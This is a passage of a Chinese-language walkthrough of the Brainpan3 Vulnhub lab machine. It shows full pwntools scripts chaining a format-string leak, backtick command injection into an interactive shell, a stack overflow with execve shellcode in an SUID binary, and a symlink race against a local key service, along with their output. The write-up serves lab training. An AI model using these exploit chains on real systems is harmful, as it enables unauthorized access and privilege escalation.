
可以。丢弃堆栈中的很大一部分，看看有什么。发送70个％x。请注意，仅在末尾添加句点，以便更轻松地拆分结果字符串。这样可以使各个格式字符串与其输出之间的关联更加容易。

``` bash
ENTER COMMAND: $ 3
SELECTED: 3
ENTER NEW SESSION NAME: $ %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
--------------------------------------------------------------
SESSION: bfcfddcc.104.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.ff0a2e78.b76d9c20.bfcfdf1c.0.b76d9000.b76d9ac0.b76da898.b752d940.b759f0b5.b76d9ac0.59.4e.59.b76d98a0.b76d9000.b76d9ac0.
\xff \x9cm\xb7\x1cϿ
```

在这里，正在研究很多重复的值。

``` bash
>>> from pwn import *
>>> unhex('252e7825')[::-1]
'%x.%'
```

看起来那些重复的字符是格式字符串缓冲区。此格式字符串中有一个有趣的段：

``` bash
root@kali:~# python
Python 2.7.17 (default, Jan 19 2020, 19:54:54) 
[GCC 9.2.1 20200110] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> for item in 'b76d9ac0.59.4e.59.b76d98a0.b76d9000.b76d9ac0.'.split('.'):
...   unhex(item)
... 
'\xb7m\x9a\xc0'
'Y'
'N'
'Y'
'\xb7m\x98\xa0'
'\xb7m\x90\x00'
'\xb7m\x9a\xc0'
''
```

Y，N，Y看起来非常类似于命令菜单中显示的对话框的Y，N，Y。可以尝试在Y，N，Y上写一个缓冲区，使其变为Y，Y，Y吗？抓住4e在格式字符串中的哪个位置，以便知道有多少溢出。


``` bash
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.sendline('3')
shellcode = '%x.' * 70
r.clean()
r.sendline(shellcode)
r.recvuntil("SESSION: ")
session_name = r.recvuntil('\n').split('.')
n_index = session_name.index('4e')
log.info("Report 'N' at offset {}".format(n_index))
n_index = session_name.index('4e')
r.sendline('3')
r.sendline('Y' * (4*(n_index-2) + 1) )
r.interactive()
```

运行上面的脚本，注意，report现在出现了[Y]！nice！。看看如何处理report。

``` bash
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 4506
[+] Opening connection to 192.168.56.117 on port 1337: Done
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 4506
[*] Report 'N' at offset 65
[*] Switching to interactive mode
\xff �r\xb7�%\x84\xbf
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND: SELECTED: 3
ENTER NEW SESSION NAME: --------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND: $
```

#### 第三步

``` bash
ENTER COMMAND: $ 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

$ this is my first report!

REPORT [this is my first report!@]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20200209204930.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [dxyc/yc/}i/vybcd/bu`\x7fbd///]
```

从文字上看，报告似乎以某种方式进行了加密，并存储在/home/anansi/REPORTS/20200209204930.rep中。用于处理报告的二进制文件位于/ repo目录中，因此进行分析可能很有用，可以在尝试进行逆向工程之前先尝试一些其他的操作。经过几次模糊的尝试以查找缓冲区溢出和命令注入之后，得到以下内容：

``` bash
$ `fuck`

REPORT [`fuck`s my first report!@]
SENDING TO REPORT MODULE

sh: 1: fuck: not found
[+] WRITING REPORT TO /home/anansi/REPORTS/20200209205212.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [��������������\xff���\xaf\xaf]
```

什么？！尝试通过反引号执行命令时，收到命令未找到错误消息。这是否意味着命令执行？

``` bash
$ `whoami`

REPORT [`whoami`my first report!@]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20200209205443.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [`o`orhlx>ghsru>sdqnsu>>>]
```

这可能是通过stderr实现的。可以通过管道输出到stderr来接收命令输出吗？

``` bash
$ `whoami >&2`

REPORT [`whoami >&2`irst report!@]
SENDING TO REPORT MODULE

anansi
[+] WRITING REPORT TO /home/anansi/REPORTS/20200209205645.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [&=<;p=*? =;ppp]
```

真好！现在有趣的部分，尝试获得一个shell。

``` bash
ENTER COMMAND: $ 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

$ `/bin/bash -i >&2`

REPORT [`/bin/bash -i >&2`eport!@]
SENDING TO REPORT MODULE

bash: cannot set terminal process group (2506): Inappropriate ioctl for device
bash: no job control in this shell
anansi@brainpan3:/$ $ whoami
whoami
anansi
anansi@brainpan3:/$ $ id
id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
anansi@brainpan3:/$ $ pwd
pwd
/
anansi@brainpan3:/$ $
```

现在有一个用户shell程序！正常情况下，修改漏洞利用脚本以自动为我获取shell程序：

``` bash
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.sendline('3')
shellcode = '%x.' * 70
r.clean()
r.sendline(shellcode)
r.recvuntil("SESSION: ")
session_name = r.recvuntil('\n').split('.')
n_index = session_name.index('4e')
log.info("Report 'N' at offset {}".format(n_index))
n_index = session_name.index('4e')
r.sendline('3')
r.sendline('Y' * (4*(n_index-2) + 1) )
for command in ['uname -a', 'whoami', 'id']:
    r.clean()
    r.sendline('1')
    r.sendline('$({} >&2)'.format(command))

    r.recvuntil("SENDING TO REPORT MODULE")
    output = r.recvuntil('[+]').split('\n')[2]
    log.success("{} - {}".format(command, output))
r.clean()
r.sendline('1')
r.sendline('$(/bin/bash -i >&2)')
r.interactive()
```

运行脚本能够成功的获得shell

``` bash
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 6851
[*] Report 'N' at offset 65
[+] uname -a - Linux brainpan3 3.16.0-41-generic #55~14.04.1-Ubuntu SMP Sun Jun 14 18:44:35 UTC 2015 i686 i686 i686 GNU/Linux
[+] whoami - anansi
[+] id - uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
[*] Switching to interactive mode
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:


REPORT [$(/bin/bash -i >&2)]
SENDING TO REPORT MODULE

bash: cannot set terminal process group (2677): Inappropriate ioctl for device
bash: no job control in this shell
anansi@brainpan3:/$ $ id
id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
anansi@brainpan3:/$ $ whoami
whoami
anansi
```

#### 步骤4

假设需要进行某种特权提升，寻找SUID二进制文件：

``` bash
anansi@brainpan3:/$ $ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/pt_chown
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/at
/usr/bin/chsh
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/home/reynard/private/cryptor
/bin/su
/bin/ping
/bin/fusermount
/bin/mount
/bin/umount
/bin/ping6
```

突出显示的二进制文件是/home/neynard/private/cryptor。可以执行该二进制文件吗？

``` bash
anansi@brainpan3:/home/anansi$ $ cp /home/reynard/private/cryptor .
cp /home/reynard/private/cryptor .
anansi@brainpan3:/home/anansi$ $ ls -la
ls -la
total 72
drwxr-xr-x 3 anansi anansi  4096 Feb  6 13:09 .
drwxr-xr-x 5 root   root    4096 May 19  2015 ..
-rw------- 1 anansi anansi   490 Feb  9 21:03 .bash_history
-rw-r--r-- 1 anansi anansi   220 May 19  2015 .bash_logout
-rw-r--r-- 1 anansi anansi  3637 May 19  2015 .bashrc
-rw-r--r-- 1 anansi anansi   675 May 19  2015 .profile
drwxrwxrwx 2 anansi anansi  4096 Feb  9 21:04 REPORTS
-rwxrwxrwx 1 root   dev      314 Feb  6 13:09 brainpan.8.gz
-rwxrwxrwx 1 anansi webdev  5568 Feb  9 21:08 cryptor
-rwxrwxrwx 1 anansi anansi   591 May 21  2015 lapinblanc.txt
-rwxrwxrwx 1 anansi webdev 12316 Feb  6 11:05 msg_admin
-rwxrwxrwx 1 anansi webdev  1104 Feb  6 12:57 rootsploit.py
-rwxrwxrwx 1 anansi webdev  7609 Feb  6 10:19 trixd
```

将此二进制文件从Brainpan3中提取到本地计算机上。看起来只允许端口8080离开服务器。如果不激活代码存储库（命令2），那么通过Python的内置网络服务器提取文件。

``` bash
anansi@brainpan3:/home/anansi$ $ python -m SimpleHTTPServer 8080
python -m SimpleHTTPServer 8080
```

在我们的主机上：

``` bash
wget http://192.168.56.117:8080/cryptor
```

加密二进制文件的快速完整性检查：

``` bash
root@kali:~/vulnhub/brainpan3/2# checksec cryptor
[*] '/root/vulnhub/brainpan3/2/cryptor'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
```

没有canary，也没有NX。这意味着，假设发现缓冲区溢出，可以跳回到堆栈/堆上的shellcode并从那里执行payload，从而避免ROP或其他恶作剧。查看IDA中的二进制文件，可以看到缓冲区溢出情况。看到分配了100个字节的缓冲区。

![](http://ctfhacker.com/assets/images/cryptor-buff1.png)

然后检查第一个参数（argv [1]）是否小于或等于116个字节。

![](http://ctfhacker.com/assets/images/cryptor-buff2.png)

在这里，给出了将116个字节写入100字节缓冲区的情况，有可能导致溢出。有了这些知识，对其进行动态测试。打开启用了Pwndbg的gdb ./cryptor，然后将116字节的字符串与第二个垃圾字符串扔到crytor上。使用Binjitsu创建116字节的循环字符串，以帮助查明字符串溢出的位置。从静态分析中知道了应该是什么，但是拥有多个数据点总是很好。

``` bash
>>> from pwn import *
>>> cyclic(116)
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaab'
```

使用116字节字符串运行二进制文件。

遇到崩溃

``` bash
pwndbg> r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaab zzzz
Starting program: /root/vulnhub/brainpan3/2/cryptor aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaab zzzz
[+] saving to aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaab.enc

Program received signal SIGSEGV, Segmentation fault.
0x61616162 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 EAX  0x0
 EBX  0x62616164 ('daab')
 ECX  0xf7fb5000 ◂— insb   byte ptr es:[edi], dx /* 0x1d6d6c */
 EDX  0x0
 EDI  0x636e652e ('.enc')
 ESI  0xf7fb5000 ◂— insb   byte ptr es:[edi], dx /* 0x1d6d6c */
 EBP  0x61616161 ('aaaa')
 ESP  0xffffd208 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
 EIP  0x61616162 ('baaa')
─────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────
Invalid address 0x61616162










──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ esp  0xffffd208 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
01:0004│      0xffffd20c ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
02:0008│      0xffffd210 ◂— 'eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
03:000c│      0xffffd214 ◂— 'faaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
04:0010│      0xffffd218 ◂— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
05:0014│      0xffffd21c ◂— 'haaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
06:0018│      0xffffd220 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
07:001c│      0xffffd224 ◂— 'jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
 ► f 0 61616162
   f 1 61616163
   f 2 61616164
   f 3 61616165
   f 4 61616166
   f 5 61616167
   f 6 61616168
   f 7 61616169
   f 8 6161616a
   f 9 6161616b
   f 10 6161616c
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x61616162)
```

太棒了，所以在循环字符串中的offset baaa崩溃了。让我们通过替换baaa来创建我们的payload，以了解我们拥有EIP的控制权。

``` bash
>>> shellcode = 'A' * cyclic_find('baaa') + 'BBBB'
>>> shellcode += 'C' * (116 - len(shellcode))
>>> print shellcode
AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
```

如果是正确的，应该在EIP中看到BBBB。

``` bash
pwndbg> r AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC zzzz
Starting program: /root/vulnhub/brainpan3/2/cryptor AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC zzzz
[+] saving to AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC.enc

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 EAX  0x0
 EBX  0x43434343 ('CCCC')
 ECX  0xf7fb5000 ◂— insb   byte ptr es:[edi], dx /* 0x1d6d6c */
 EDX  0x0
 EDI  0x636e652e ('.enc')
 ESI  0xf7fb5000 ◂— insb   byte ptr es:[edi], dx /* 0x1d6d6c */
 EBP  0x41414141 ('AAAA')
 ESP  0xffffd208 ◂— 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'
 EIP  0x42424242 ('BBBB') <== 真的非常的牛批！！！
─────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────
Invalid address 0x42424242










──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ esp  0xffffd208 ◂— 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'
... ↓
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
 ► f 0 42424242
   f 1 43434343
   f 2 43434343
   f 3 43434343
   f 4 43434343
   f 5 43434343
   f 6 43434343
   f 7 43434343
   f 8 43434343
   f 9 43434343
   f 10 43434343
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x42424242)
```

还从静态分析中注意到，第二个参数存储在位于0x804a080的全局数组中。如果将shellcode写入全局数组，则可以将EIP指向该缓冲区并可能获胜。攻击计划如下：

 - 用0x804a080覆盖返回地址BBBB
 - 在第二个参数中删除/bin/sh shellcode以获得一个shell

我们得到的测试脚本如下：

test.py
``` bash
from pwn import *

shellcode = 'A' * cyclic_find('baaa') + p32(0x804a080)
shellcode += 'C' * (116 - len(shellcode))

r = process(['./cryptor', shellcode, asm(shellcraft.sh())])

offset = cyclic_find('baaa')
buffer = 116 - len(shellcode)

binsh_shellcode = asm(shellcraft.sh())

argv1 = '"A" * {} + "{}" + "C" * {}'.format(offset, r'\x80\xa0\x04\x08', buffer)

argv2 = ''.join('\\x{}'.format(enhex(binsh_shellcode)[x:x+2]) for x in xrange(0, len(enhex(binsh_shellcode)), 2))

actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""".format(argv1, argv2)

log.info(actual_shellcode)

r.sendline('cd /home/reynard/private')
while True:
    r.clean()
    r.sendline(actual_shellcode)
    r.clean()
    r.sendline('id')
    output = r.recv()
    if 'root' in output:
        break

log.info("Shell recevied: root")

r.interactive()
```

成功利用漏洞获取了本地的shell

``` bash
root@kali:~/vulnhub/brainpan3/2# python test.py 
[+] Starting local process './cryptor': pid 20596
[*] ./cryptor $(python -c 'print "A" * 4 + "\x80\xa0\x04\x08" + "C" * 0') $(python -c 'print "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80"')
[*] Shell recevied: root
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
```

在本地获得了一个shell。现在必须在服务器上执行此命令。为此，在现有脚本中创建命令，然后从脚本中发送命令。该完善后的脚本如下所示：


``` bash
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.sendline('3')
shellcode = '%x.' * 70
r.clean()
r.sendline(shellcode)
r.recvuntil("SESSION: ")
session_name = r.recvuntil('\n').split('.')
n_index = session_name.index('4e')
log.info("Report 'N' at offset {}".format(n_index))
n_index = session_name.index('4e')
r.sendline('3')
r.sendline('Y' * (4*(n_index-2) + 1) )
for command in ['uname -a', 'whoami', 'id']:
    r.clean()
    r.sendline('1')
    r.sendline('$({} >&2)'.format(command))

    r.recvuntil("SENDING TO REPORT MODULE")
    output = r.recvuntil('[+]').split('\n')[2]
    log.success("{} - {}".format(command, output))
r.clean()
r.sendline('1')
r.sendline('$(/bin/bash -i >&2)')
offset = cyclic_find('baaa')
shellcode = 'A' * cyclic_find('baaa') + p32(0x804a080)
buffer = 116 - len(shellcode)
binsh_shellcode = asm(shellcraft.sh())
argv1 = '"A" * {} + "{}" + "C" * {}'.format(offset, r'\x80\xa0\x04\x08', buffer)
argv2 = ''.join('\\x{}'.format(enhex(binsh_shellcode)[x:x+2]) for x in xrange(0, len(enhex(binsh_shellcode)), 2))
actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""".format(argv1, argv2)
log.info(actual_shellcode)
r.sendline('cd /home/reynard/private')
while True:
    r.clean()
    r.sendline(actual_shellcode)
    r.clean()
    r.sendline('id')
    output = r.recv()
    if 'reynard' in output:
        break
log.info("Shell recevied: reynard")
r.interactive()
```

运行上面的脚本之后，等待一小会儿，将会接收到一个reynard的shell

``` bash
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 2919
[*] Report 'N' at offset 65
[+] uname -a - Linux brainpan3 3.16.0-41-generic #55~14.04.1-Ubuntu SMP Sun Jun 14 18:44:35 UTC 2015 i686 i686 i686 GNU/Linux
[+] whoami - anansi
[+] id - uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
[*] ./cryptor $(python -c 'print "A" * 4 + "\x80\xa0\x04\x08" + "C" * 108') $(python -c 'print "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80"')
[*] Shell recevied: reynard
[*] Switching to interactive mode
$ id
uid=1000(anansi) gid=1003(webdev) euid=1002(reynard) groups=1002(reynard)
$ whoami
reynard
$ pwd
/home/reynard/private
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub207.jpg)

#### 步骤5

再进行一次勘测，将显示以下cron作业：

``` bash
$ cat /etc/cron.d/*
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done
```

查看/opt/.messenger的特权，看到以下内容：

``` bash
$ ls -la /opt
total 12
drwxr-xr-x  3 root root 4096 May 19  2015 .
drwxr-xr-x 21 root root 4096 Jun 17  2015 ..
drwxrwx---  3 root dev  4096 Feb  6 13:04 .messenger
```

看到一个由root执行的命令，该命令从/opt/.messenger目录中提取文件。为此，需要具有开发人员组权限的用户。检查/etc/passwd的尾部，可以看到puck。看他的id：

``` bash
$ id puck
uid=1001(puck) gid=1001(puck) groups=1001(puck),1004(dev)
```

他确实具有dev特权，允许他访问/opt/.messenger。来看看box上的puck用户。

``` bash
$ cd /home/puck
$ ls -la
total 12
drwxrwx--- 2 reynard dev     4096 Jun 17 22:11 .
drwxr-xr-x 3 root    root    4096 May 19 23:35 ..
-rw-r--r-- 1 reynard reynard   21 Jun 17 22:11 key.txt
$ cat key.txt
9H37B81HZYY8912HBU93
```

box上还有其他key吗？

``` bash
$ find / -name key* 2>/dev/null
/mnt/usb/key.txt
```

不知道这些key是做什么用的。碰到一个小路障会做什么？侦察！查看netstat，看到另一个服务处于活动状态：

``` bash
$ netstat -antop | grep LIST
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      -                off (0.00/0/0)
tcp        0      0 0.0.0.0:1337            0.0.0.0:*               LISTEN      -                off (0.00/0/0)
tcp        0      0 127.0.0.1:7075          0.0.0.0:*               LISTEN      -                off (0.00/0/0)
```

连接到它

``` bash
$ nc localhost 7075
open: No such file or directory
Incorrect key
```

不知道它来自什么服务，执行一个系统范围的字符串来尝试查找导致此问题的二进制文件。

``` bash
$ find / -executable > exes
$ for f in $(cat exes); do echo $f >> output; strings $f | grep "Incorrect key" >> output; done
$ grep Incorrect output -B1
/usr/local/sbin/trixd
Incorrect key
```

并确认

``` bash
$ strings /usr/local/sbin/trixd | grep Incorrect
Incorrect key
```

将trixd加载到IDA中，看到二进制文件正在检查/mnt/usb/key.txt是否为符号链接，如果是，则立即退出。从这里，它同时打开/mnt/usb/key.txt和/home/puck/key.txt并检查它们是否相同。如果它们相同，将得到一个/bin/sh shell。否则，会看到错误的密钥消息。解决此问题的方法是连接到服务，删除/mnt/usb/key.txt，然后将/home/puck/key.txt符号链接到/mnt/usb/key.txt。如果时间安排正确，将在检查后进行符号链接，绕过它。不想将binjitsu放在VM本身上，可以在这部分使用标准库函数。再次，为了通过一个脚本来完成这项工作，将一个脚本写入磁盘并执行该脚本，以使的shell具有puck的功能。的新代码如下：

``` bash
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.sendline('3')
shellcode = '%x.' * 70
r.clean()
r.sendline(shellcode)
r.recvuntil("SESSION: ")
session_name = r.recvuntil('\n').split('.')
n_index = session_name.index('4e')
log.info("Report 'N' at offset {}".format(n_index))
n_index = session_name.index('4e')
r.sendline('3')
r.sendline('Y' * (4*(n_index-2) + 1) )
for command in ['uname -a', 'whoami', 'id']:
    r.clean()
    r.sendline('1')
    r.sendline('$({} >&2)'.format(command))

    r.recvuntil("SENDING TO REPORT MODULE")
    output = r.recvuntil('[+]').split('\n')[2]
    log.success("{} - {}".format(command, output))
r.clean()
r.sendline('1')
r.sendline('$(/bin/bash -i >&2)')
offset = cyclic_find('baaa')
shellcode = 'A' * cyclic_find('baaa') + p32(0x804a080)
buffer = 116 - len(shellcode)
binsh_shellcode = asm(shellcraft.sh())
argv1 = '"A" * {} + "{}" + "C" * {}'.format(offset, r'\x80\xa0\x04\x08', buffer)
argv2 = ''.join('\\x{}'.format(enhex(binsh_shellcode)[x:x+2]) for x in xrange(0, len(enhex(binsh_shellcode)), 2))
actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""".format(argv1, argv2)
log.info(actual_shellcode)
r.sendline('cd /home/reynard/private')
while True:
    r.clean()
    r.sendline(actual_shellcode)
    r.clean()
    r.sendline('id')
    output = r.recv()
    if 'reynard' in output:
        break
log.info("Shell recevied: reynard")
r.sendline(""" echo "
import os
import socket
import telnetlib
import subprocess

HOST = 'localhost'
PORT = 7075

try:
    os.remove('/mnt/usb/key.txt')
except:
    pass

subprocess.check_output(['touch', '/mnt/usb/key.txt'])

r = socket.socket()
r.connect((HOST, PORT))

os.remove('/mnt/usb/key.txt')
os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')

t = telnetlib.Telnet()
t.sock = r
t.interact()

r.close()
" > win.py
""")

r.sendline("python win.py")
r.clean()
r.sendline("whoami")
output = r.recv()
log.success("Shell received: {}".format(output))
sleep(1)
r.interactive()
```

运行上面的代码之后，成功的拿到了puck用户的权限

``` bash
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 2796
[*] Report 'N' at offset 65
[+] uname -a - Linux brainpan3 3.16.0-41-generic #55~14.04.1-Ubuntu SMP Sun Jun 14 18:44:35 UTC 2015 i686 i686 i686 GNU/Linux
[+] whoami - anansi
[+] id - uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
[*] ./cryptor $(python -c 'print "A" * 4 + "\x80\xa0\x04\x08" + "C" * 108') $(python -c 'print "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80"')
[*] Shell recevied: reynard
[+] Shell received: puck
[*] Switching to interactive mode
$ id
uid=1001(puck) gid=1004(dev) groups=1001(puck)
